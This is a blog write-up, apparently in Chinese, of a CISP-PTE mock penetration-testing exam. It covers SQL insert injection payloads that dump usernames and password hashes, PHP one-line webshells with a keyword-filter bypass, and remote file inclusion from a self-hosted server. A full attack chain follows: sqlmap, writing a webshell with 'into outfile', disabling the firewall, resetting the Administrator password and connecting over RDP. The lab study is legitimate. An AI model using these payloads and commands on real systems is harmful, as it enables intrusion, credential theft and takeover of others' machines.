2.3-SP PTE模拟全WP

试题一:sql注入

心路历程:

随便注册一个账号发现在文章的发表界面有提示,立刻联想到是insert注入,先输入正常的标题和内容提交后返回了执行的insert语句,遂开始尝试注入,过程基本和2.1 综合练习中一致,甚至要更简单。

但是我浪费了好几分钟,发现是单词拼错了。。。😵

Write up:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',database(),'test
//2web

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(table_name) from information_schema.tables where
table_schema=database()),'test
//article,article1, users1

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(column_name) from information_schema.columns where
table_name='users1' and table_schema=database()),'test
//username, password

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(username) from 2web.users1),'test //admin,haha

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(password) from 2web.users1),'test
//key1:u9y8tr4n,202cb962ac59075b964b07152d234b70

试题二:文件上传

心路历程:

为了方便干脆直接上图片马吧,反正难得能过简单的肯定也能过,遂打开画图画了个OK保存,然后用notepad++在末尾加上了一句话木马。发现不行,传不上去,woc,这么牛逼吗。经过一波测试,反正最终发现应该是对eval进行了关键词屏蔽,所以使用大写绕过。传上去正常菜刀/蚁剑连接即可。

Write up:

1
<?php EvAl($_POST['cmd']);?>

试题三:文件包含

心路历程:

我是傻逼!

最初尝试远程文件包含(用自己博客上提前传好的),猛然醒悟公网肯定没开,所以转而用python开本地服务器。发现攻击机上的居然是远古的python2!然后,然后怎么包含不了啊?那大概是服务端配置关了,换伪协议吧,各种绕过也不行。回到远程文件包含。

重点来了,众所周知靶机是内网的一个服务器,而我提交包含文件URL里IP是127.0.0.1,靶机收到参数后理所应当的会在自己本地查找这个文件而不是来我搭建的服务器上找。。。ipconfig查找到同网段IP后更换一下就行了,依旧菜刀连接拿下。

Write up:

本地开单独文件夹创建文件niaho.txt,写入:

1
<?php eval($_POST['cmd']);?>

python开服务器:

1
python -m SimpleHTTPServer 8000

记得ipconfig看看同网段的IP为127.16.1.87

最终的地址为:http://172.16.1.19:83/start/index.php?page=http://172.16.1.87:8000/nihao

菜刀连接拿下。

试题四:反序列化

心路历程:

没过脑子把代码抄到本地(OCR太难用了),抄到一般发现是原题,不过就算第一次见也很简单。

Write up:

2.1 综合练习

试题五:失效的访问控制

心路历程:

还没来得及抓包服务器就关闭了

Write up:

抓包看到了cookie:

把Username的内容先URL解码,再base64解码得到内容:Guest

同理我们如法炮制把Admin先base64编码再URL编码得到%59%57%52%74%61%57%34%3d换回去就行了

注意把前面的IsAdmin的值改为True,放包即可。

后日谈:综合题

访问对应的 web 服务

第一小题需要验证登录,直接抓包

base64 编码

可以base64解码看一下格式

直接发到攻击模块爆破

添加爆破位置

字典选择 password.txt

添加前缀

添加 base64 编码

如下如

爆破密码

筛选 200 的状态码,解码得到密码是 qwerty(这个过程你甚至可以省略,直接登就行了)

登陆后来到界面

这个界面登不进去,看了下源代码,只是一个静态页面

补充:这段过程有点跳跃,实战中你可以先用御剑扫下目录。

访问 robots.txt,看到 key6

并且看到一个名为 news 的路径,继续访问

点击系统管理来到另一个登录界面

存在弱口令 admin:admin

管理员管理处存在 sql 注入

抓个包

保存为文件放到 sqlmap

跑一下

存在注入

但是这里没法直接写入 webshell

不过可以读取 key.php

由于后面也需要写 webshell,我这里直接跳过读取的步骤

可以使用 burpsuite 进行目录扫描:

抓包后修改host为爆破点,字典就使用御剑配置文件中的PHP.txt

会发现 news 目录下存在 phpmyadmin 路径

直接在 phpmyadmin 下面执行 sql 语句,写入一句话木马

网站的绝对路径我们前面已经拿到了:

1
C:/wamp/www

写入 webshell

1
select '<?php eval($_POST[1]);?>' into outfile 'C:/wamp/www/2.php'

执行

直接用蚁剑连接,注意编码选base64(实战时候可用都试试),请求信息里面同样需要加上前面的认证信息Authorization

随便抓个登录后的包就可以看到了

进入找到 key7

右键上传文件

上传这个文件:3389.bat

右键进入虚拟终端

执行3389.bat

这个是开启对方的3389端口
接下来我们还需要关闭它的防火墙,使用命令:

1
netsh firewall set opmode disable

然后修改它的用户密码,使用命令:

1
net user Administrator 123456a*

注意需要满足密码策略,数字字母特殊字符
cmd输入mstsc打开远程桌面

看一下目标的ip

输入ip和密码进行连接

点击是

继续等待,成功连接到对方计算机

回收站的名字即为key8

目前发现的一些可能影响考试,需要注意的点

  1. 靶机关闭了文件扩展名显示,需要手动开启
  2. 火狐默认没有配置代理127.0.0.1:8080的burp suite代理,需要手动配置,不然抓不了包
  3. 没有发现phpstudy,遇到反序列化题目有源码可以借助文件上传/文件包含的题目跑一下
  4. 可用的16进制编辑器有notepad++和ultra edit,后者的操作有点奇怪

参考文献

[1] Echo_200. CISP-PTE练习篇(基础题目五:失效的访问控制)[EB/OL]. (2023-01-31)[2026-02-03]. https://blog.csdn.net/wojiaoqwe/article/details/128816906.

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS